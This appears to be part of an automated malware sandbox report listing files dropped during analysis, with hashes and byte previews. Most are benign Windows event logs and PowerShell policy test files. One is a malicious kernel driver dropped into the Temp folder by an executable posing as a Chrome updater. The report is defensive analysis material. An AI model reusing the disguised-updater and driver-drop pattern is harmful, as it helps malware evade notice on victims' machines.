Preview:	ElfChnk......................................I...L..B........................................................................c.o................b...........................=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................................;.......................&...........**..X............,.x..........F..&.......F...0.V%.d..wr........A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-User Device Registration%4Admin.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.3642612685419924
Encrypted:	false
SSDEEP:	384:dhaXJb4+XJcXJsXJrXJQXJIXJdXJkXJuXJyXJLMXJ1qXJNXJLJXJxXJBXJfXJKH5:dQ0yUkNYwD8imLEUzL/HXxS
MD5:	727E32931085339B0D59890FD3759197
SHA1:	1281993447169E4AF0F4EEDE4F70524D766189F6
SHA-256:	66D8CFCF522ABCC5813640D9315FB0FC1497236FEBAE41E1095547E137759BFD
SHA-512:	24BF05FA33772320686E4BD6BF32512DD7BE460393304178292B93E7440B7D198A603C9EB45CCED0479A651C5D752B8E688A207B05E180793D41581E3AACE2FC
Malicious:	false
Preview:	ElfChnk......................................A...D....n........................................................................h................j...........................=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...........................................................C................3..........**..............@V.$..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-User Profile Service%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.339319118040676
Encrypted:	false
SSDEEP:	384:mh/mcmtmrmsm1mkmQm6m4mnmdmgmsmnmChmxmomMmqmwmHmLmlm9mGmdmpm3mfmP:mNDcxPuxE9KA
MD5:	F2254833A2ECFC2BE8343C689060E95C
SHA1:	4E4CE2B2AE58A6A2EFB7D563F17DCBA59A83D2A7
SHA-256:	A8B52451086D3042E2353D49E565422A083018D22C89F8447889BA77312DEA65
SHA-512:	38DB34911D61CA2EFE5767C0344BEFF5D81ECEB09B6F7C1F8BC34F0E6F8DEBBB010471A78AA181D4F43941C91AB5C6DFD1D26970AE766E1E208DA776D4FC5FA5
Malicious:	false
Preview:	ElfChnk.....................................@)............................................................................[=.t................L.......................t...=...........................................................................................................................f...............?...........................m...................M...F...............................................s...........................................%...........................................&...........*..p.............k...........F..&.......F...0.V%.d..wr........A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7077930323266531
Encrypted:	false
SSDEEP:	384:ohK2nl2U52N2h2Ii2wAx2wI2ff2iW2R12Qc2nT2:op
MD5:	EFAB9CB2241340892CAF25215B175900
SHA1:	379AAFFC0E9465FBC553A8CD7587F45D07274D24
SHA-256:	852B282863F4AD8B40A1CB715C9F3EA8B243472EF1D9E95035408AB586EB49BC
SHA-512:	2702DFE388394AE71F7D2F012E3003F2D3586A5CC2300605D2FF2B14A3F99E4F7443D37203E9EB37101510406C34B6258063807359C31DEDDFE2177ADCB8CBA7
Malicious:	false
Preview:	ElfChnk...............................................k.....................................................................O..w................N.......................v...=...........................................................................................................................f...............?...........................m...................M...F...............................'.......................................................................................................&...........**...............a............F..&.......F...0.V%.d..wr........A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-WMI-Activity%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	3184
Entropy (8bit):	4.0379871292529
Encrypted:	false
SSDEEP:	48:MkJyeZshh/NGUmJfJ4YmqyfBIbAiJfJHyCZmJfJL9yCPHkhJfJf4gboV:NSz/gTRRyfObfRRJmRh9/HkhRGui
MD5:	F850DE8F3D91F9D9ED2E0BA4C1D7E3DC
SHA1:	329E64FEDA0487DB45B4ACE9020D36B59A2C43A6
SHA-256:	D27B8724F81B55FD1FFC4E708D225C72FD2EF41E2A82E9BC3703C0A51765714E
SHA-512:	B48F960885E9E3D194C2C957AED8799661F54BF37D63B2C4299EA16C27CD5D51E180757655EC5D0EE1A9D55B2149BA8A313907F1AC6CDE2DDEA8C6E22A7D094B
Malicious:	false
Preview:	ElfChnk.............................................\|.\W.....................................................................L`................................N ....... ..=.......................................h#......................}...3............................ ........... ..............f...h...........?.......................h.......Y.......M.......M...F...........................................f?......................................................A.......A#......................&...............*...............d^.6............f?..............................................................<.......T...-.!................@.d^.6..._....b.K...z..$Ox...@........................M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.W.M.I.-.A.c.t.i.v.i.t.y.......#F.~.J.{..M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.W.M.I.-.A.c.t.i.v.i.t.y./.O.p.e.r.a.t.i.o.n.a.l.................................P.r.o.t.e.c.t.i.o.n.M.a.n.a.g.e.m.e.n.t.......w.m.i.p.r.v.s.e...e.x.e...x...".%.P.r.o.g.r.a.m.D.a.t.a.%.\.M.i.c

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Wcmsvc%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.269282050125859
Encrypted:	false
SSDEEP:	384:Vhghshy2h0hEhDh9vhghp6hXghshqh9hihXhMhxhzhwhohGh5h3hShChWhzhLha8:VbsFpkBSqL8wD
MD5:	A58CC6DEC3C876BEEC16907FC49E19BA
SHA1:	C2617D099C46BD902D85BD8FE90FC6F34995BA5A
SHA-256:	BE9A153D8CFAB9F25D94444C14641599D6F8C868DB9675D3FA330E0C7C0110A6
SHA-512:	4311D7F2C987CCE1F5EE8F78B867A87BFDE8D5E28C996B2BF1347B41063F38B6CB98BE968A962064C5920B9F355AA537FE5370FB78D52C69F5B81B279C394D5D
Malicious:	false
Preview:	ElfChnk.............................................b.......................................................................<...........................................l...=...........................................................................................................................f...............?...........................m...................M...F...........................................a.......................................................................................9...&...........**..@.........................F..&.......F...0.V%.d..wr........A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-WebAuthN%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.2593916356001515
Encrypted:	false
SSDEEP:	384:ahOVPiVcVCVC7VNVtVEV3Vob7V5VXVmVbVoV/VEVptVtVBVnVOV5VqVFlVmV8VVG:ayjbS
MD5:	14652E4148A13AE019B3CF2CC20B5812
SHA1:	0D6C33AC1CF9CF3EDB3B4632A0943BC7ED7521FC
SHA-256:	3946831B472B0248BBBB225A2253A26A693E9155C3FFF0D8CE29897E07573134
SHA-512:	0306DB2CBFEB878570FF4B4342CD6E89B056D9FE7E41029CE17FD08953749351EB65C8B942D36EB7842F6167219997D876270DC0B5528F4FFC13EB310B8F0324
Malicious:	false
Preview:	ElfChnk........."..............."...........`8...9....H4......................................................................4.................&...........................=...........................................................................................................................f...............?...........................m...................M...F...........................&...............................v...........................................................................&..........*..P...........y................&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-WinRM%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	MS Windows Vista Event Log, 1 chunks (no. 0 in use), next record no. 101, DIRTY
Category:	dropped
Size (bytes):	129944
Entropy (8bit):	4.193933238266943
Encrypted:	false
SSDEEP:	768:rL5v0NuJKOXvb6mBylNGkVdNWN/3kUbzVVRa6vwVQldASo0RXk9gjdkINbRkmkb8:JhBlXhBl
MD5:	D5A6BC6D8DDE44574DE4EC24E2526D8F
SHA1:	7E05C32C7047010EE573E8954449768F0CE82CC2
SHA-256:	FD693AB0DC6BAEF3572ACF7F64AA75F91F434D8343BED199CA18287DB8416EDF
SHA-512:	0E77B86DCAFD8446783245822EE3C00261F5C7166CD2EE4E30323AC8305F3D5B4FA1E3D98DF64AC9DA93E79B7A3CB2BA2755785E8B8A491DEFD5AAC80AC24743
Malicious:	false
Preview:	ElfFile.................e.......................................................................................................ElfChnk.........g...............g...................6D........................................................................h ........................................B...=...........................................................................................................................f...............?...........................m...................M...F...................................=.......E...............&...........................................................-...........................**..X...........\|.$2..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d.

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.321255744338126
Encrypted:	false
SSDEEP:	384:nh4BwBxNqObx1rBwBwQtBwBnp+/0JBwBc/wBwBwtBwBwUBwBAszBwB1BwB2WBwBc:n/NqObx/lsKeQfcjDsM
MD5:	A3669CF64CFD0978933A9CC3482C1282
SHA1:	E6FCB91617D5FD48E2183A9A02D5709171997FBA
SHA-256:	2DEB30BC8AB788088A11EDA733F655F2585FDA14ABFEABFBCF56D3974F6DB2EA
SHA-512:	28C0C0ECF5A21920611FB6E0120A2A4D778E4E47CB22976D16FDB02DB38A78C21B60F3544D111D99A813E284D40FF998B63A995786EC8D9C85793B8B3961107F
Malicious:	false
Preview:	ElfChnk.....................................X....1..h'.t....................................................................................................................=...........................................................................................................................f...............?...........................m...................M...F....................#......i...........................................................................................................&...........**..H..............A..........F..&.......F...0.V%.d..wr........A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Winlogon%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.396202402379334
Encrypted:	false
SSDEEP:	384:IMh4UEiUEfUE5UE0UEfUEtUEpUEAUELUEvUEcUEJUEBUE3UEHUERUExUEeUEaUEW:voHgSNX8+BoUYUkIO
MD5:	838CCFDA7EEB847C3F96507592B3480B
SHA1:	1D1C0CA6AFCCC861AFB6B7D2BD500657CC139AC7
SHA-256:	2E474ECD1D96758EA0BD52D3C594998DFC30DCB83270638B107B41B81FB51339
SHA-512:	59156BC3267CABA12BB8F542EF10E409F0E685731E8C916681457C9376B36A84DB13B29F006C049528E1E78D63168B9C4B521088FB08445F208432BBDC0EC749
Malicious:	false
Preview:	ElfChnk.....................................0).....N..,.....................................................................i.........................................R...=...........................................................................................................................f...............?...........................m...................M...F.......................................................................................................................................&...........**..............4.............F..&.......F...0.V%.d..wr........A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Security.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.405570226034379
Encrypted:	false
SSDEEP:	384:9FRTB4ovbJlojdu6wpoCjojdHojdwo3QxuojdYwvioazojd3ojdlo3Cojd7oDCoz:f3Ixu8W398Q4D2W
MD5:	F7AD77DB388F97B27D62F568A3373631
SHA1:	71655A30CAC99D8F75767AF735B5C9E7B45F9995
SHA-256:	F0739019E0DEA9301F8D5B1847964D7E86B6B2942D1381148874592DACE37287
SHA-512:	80CD91B88A5FA487E90318391CC54EAD726826D2B304A9D7D7F49B69A1029A87B95450A307C3F05C7348CFA1E606DF149EF4515B8D4D0312DD95947367FBE493
Malicious:	false
Preview:	ElfChnk........./.......t...................Pw..`y..%u.d....................................................................4.}.................d...s...h...................=...................................................N...............................................w.......6......................./...................................]...........).......M...T...:...................+.......s...........................................................&...........................................F...=.......**.. ...t....... "}.6.........0.;M&.......0.;M.j.Y)..G2.zA.......A..5...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.....^...........oT..S.y.s.t.e.m....A...............{..P.r.o.v.i.d.e.r.......F=.......K...N.a.m.e.......M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.E.v.e.n.t.l.o.g..........)...G.u.i.d.....&.{.f.c.6.5.d.d.d.8.-.d.6.e.f.-.4.9.6.2.-.8.3.d.5.-.6.e.5.c.f.e.9.c.e.1.

C:\Windows\System32\winevt\Logs\Setup.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	68440
Entropy (8bit):	0.47896393707770835
Encrypted:	false
SSDEEP:	96:aNVaO8Joax8SRO208w52rNVaO8Joax8SRO208w52:MV701RC6V701RC
MD5:	4C980E3386B6256C0B4AC1D9BCE24073
SHA1:	8124C01A189C8294A8883C57433382CA745D9154
SHA-256:	32EEEDC2433514DA8E490D932A309A86598896346093B281A3C2FD59EDE6F4F9
SHA-512:	A82D4FD43325C38FB8F3DD55D8674985335EBBC289B0CDBC1CCFC430F24FFA64666695B9F25B81C212014A47A6BD47D578901616AEDD869316D2BDE4F47ABDE9
Malicious:	false
Preview:	ElfChnk.........................................X............................................................................n..............................................=...........................................................................................................................f...............?...........................m...................M...F.......................................................................................................................................&...........**..............,...6.........F..&.......F...0.V%.d..wr........A..~...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\System.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	4464
Entropy (8bit):	4.313558294414202
Encrypted:	false
SSDEEP:	96:cFRgRhRNrR2XxDJ6x6ojygxSr58yYvtJl7s/L:GGXfr6xJ6bDY+LxGL
MD5:	D9FAB8A318569AAE314504E9DA614B74
SHA1:	A4099ACBD7DF7A3D9F669E5B40DFD494907FE5D4
SHA-256:	1A9EAB0791FE35348C0114B4E1938DADC9E42407BF0FEDE4EC9BB293DE507EEA
SHA-512:	96050F019F8FBEA311E90536CF282AA4C42B6C26C25CF5E1EF6B74DD8A0B095CE5BC3FEF1F2D822A5784760CCF7DA365734DA524CE410BC24B67126265D61D32
Malicious:	false
Preview:	ElfChnk......................................,..8/..............................................................................................R...s...h...............z...=...................................................N...............................a....'..........w.......2.......................G...................................Y...........).......M...5...:...................................&................................................-...................... ...I'..+...............&.........................M.".6.........F..&...............................................................L.............!................@M.".6....A....L..JT~.C.....\........................M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.U.s.e.r.M.o.d.e.P.o.w.e.r.S.e.r.v.i.c.e....9..@..w..I.S.y.s.t.e.m....n@O+.......B...............C.:.\.W.i.n.d.o.w.s.\.S.y.s.t.e.m.3.2.\.p.o.w.e.r.c.f.g...e.x.e......."B.8...A...[.`.."B.8...A...[.`.....^S.S.y..................`Q'.6.........F..&.....................

C:\Windows\System32\winevt\Logs\Windows PowerShell.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	97040
Entropy (8bit):	3.8210585008824354
Encrypted:	false
SSDEEP:	1536:6E89VtMUjtli/TwE0Js7RMFE89VtMUjtli/TwE0Js7RMyMmYirZOZ2c1R0uXbiws:
MD5:	9C67A408A72171431BD77A8051D4016E
SHA1:	60D1B2933586976E566BB4DD3FC8DDF24AB094E1
SHA-256:	5E2D68BEB621E9014579E0A5ABFCEE98E89F2CB009305D692D4768450C18854B
SHA-512:	E6E37523CC13FF8BECA16C53E5C0847C5C8F71D578ADCAD795220FBF4E25C0F304E211AA0BC5F767AE6951E17AC08A87A961DC16C71252A3A0FC2110DE2D8772
Malicious:	false
Preview:	ElfChnk.................i....................v...{............................................................................w.............................................=..........................................................................................................................._...............8...........................f...................M...c...........................p...................................&...................................................................................*..8...i........y.6.........}k..&.......}k.....R.H............A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..R............{..P.r.o.v.i.d.e.r.../....=.......K...N.a.m.e.......P.o.w.e.r.S.h.e.l.l..A..M...s........a..E.v.e.n.t.I.D...'............)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n............

C:\Windows\Temp\__PSScriptPolicyTest_gihj4isu.eh5.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_mkmwtu32.fhp.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_odx1e05i.gqb.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_wc1y43oc.ar2.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\voeeoiqrjnla.sys

Download File

Process:	C:\ProgramData\Google\Chrome\updater.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14544
Entropy (8bit):	6.2660301556221185
Encrypted:	false
SSDEEP:	192:nqjKhp+GQvzj3i+5T9oGYJh1wAoxhSF6OOoe068jSJUbueq1H2PIP0:qjKL+v/y+5TWGYOf2OJ06dUb+pQ
MD5:	0C0195C48B6B8582FA6F6373032118DA
SHA1:	D25340AE8E92A6D29F599FEF426A2BC1B5217299
SHA-256:	11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5
SHA-512:	AB28E99659F219FEC553155A0810DE90F0C5B07DC9B66BDA86D7686499FB0EC5FDDEB7CD7A3C5B77DCCB5E865F2715C2D81F4D40DF4431C92AC7860C7E01720D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Joe Sandbox View:	Filename: Loader.exe, Detection: malicious, Browse Filename: updater.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: Laun3cher_E@zy.exe, Detection: malicious, Browse Filename: daRNfwifay.exe, Detection: malicious, Browse Filename: cherax.exe, Detection: malicious, Browse Filename: K4gsPJGEi4.exe, Detection: malicious, Browse Filename: 32Vec0G7f5.exe, Detection: malicious, Browse Filename: BZMxi2zof1.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5:n.q[..q[..q[..q[..}[..V.{.t[..V.}.p[..V.m.r[..V.q.p[..V.\|.p[..V.x.p[..Richq[..................PE..d....&.H.........."..................P.......................................p..............................................................dP..<....`.......@..`...................p ............................................... ..p............................text............................... ..h.rdata..\|.... ......................@..H.data........0......................@....pdata..`....@......................@..HINIT...."....P...................... ....rsrc........`......................@..B................................................................................................................................................................................................................................................................................

C:\Windows\system32\wbem\Performance\WmiApRpl.h (copy)

Download File

Process:	C:\Windows\System32\wbem\WMIADAP.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3444
Entropy (8bit):	5.011954215267298
Encrypted:	false
SSDEEP:	48:ADPo+gDMIuK54DeHNg9dqbEzCJGGgGDU3XgLBgaGKFijiVJtVAAF/XRgW:ADw+gDMhK54qHC7aBvGKFijiV7XRgW
MD5:	B133A676D139032A27DE3D9619E70091
SHA1:	1248AA89938A13640252A79113930EDE2F26F1FA
SHA-256:	AE2B6236D3EEB4822835714AE9444E5DCD21BC60F7A909F2962C43BC743C7B15
SHA-512:	C6B99E13D854CE7A6874497473614EE4BD81C490802783DB1349AB851CD80D1DC06DF8C1F6E434ABA873A5BBF6125CC64104709064E19A9DC1C66DCDE3F898F5
Malicious:	false
Preview:	//////////////////////////////////////////////////////////////////////////////////////////////..//..// Copyright (C) 2000 Microsoft Corporation..//..// Module Name:..// WmiApRpl..//..// Abstract:..//..// Include file for object and counters definitions...//..//////////////////////////////////////////////////////////////////////////////////////////////......#define.WMI_Objects.0..#define.HiPerf_Classes.2..#define.HiPerf_Validity.4....#define.MSiSCSI_ConnectionStatistics_00000.6....#define.BytesReceived_00000.8..#define.BytesSent_00000.10..#define.PDUCommandsSent_00000.12..#define.PDUResponsesReceived_00000.14....#define.MSiSCSI_InitiatorInstanceStatistics_00001.16....#define.SessionConnectionTimeoutErrorCount_00001.18..#define.SessionDigestErrorCount_00001.20..#define.SessionFailureCount_00001.22..#define.SessionFormatErrorCount_00001.24....#define.MSiSCSI_InitiatorLoginStatistics_00002.26....#define.LoginAcceptRsps_00002.28..#define.LoginAuthenticateFails_00002.30..#define.LoginAuthFai

C:\Windows\system32\wbem\Performance\WmiApRpl.ini (copy)

Download File

Process:	C:\Windows\System32\wbem\WMIADAP.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (405), with CRLF line terminators
Category:	dropped
Size (bytes):	48786
Entropy (8bit):	3.5854495362228453
Encrypted:	false
SSDEEP:	384:esozoNc1+12zG1+b61ubSGMLVrj4+PtC81ZBg4Lg4ung4og4uo91K91zI91K91z2:esozozBg4Lg4ung4og4uWG4MG4o1
MD5:	DF877BEC5C9E3382E94FEA48FEE049AC
SHA1:	1D61436C8A1C057C1B1089EB794D90EE4B0D8FE9
SHA-256:	7F0F3FA64E41A30BACA377B6399F8F7087BC54DA9FCA876BFDC2C2EEECA8454B
SHA-512:	433CB16EBE2292CB60CB8CE71207EBB752295FB73E6D13E215E771EC5FC433EE29577AF28641255810C18078B95F04A9D37734B6F49CB6A6302821E365672205
Malicious:	false
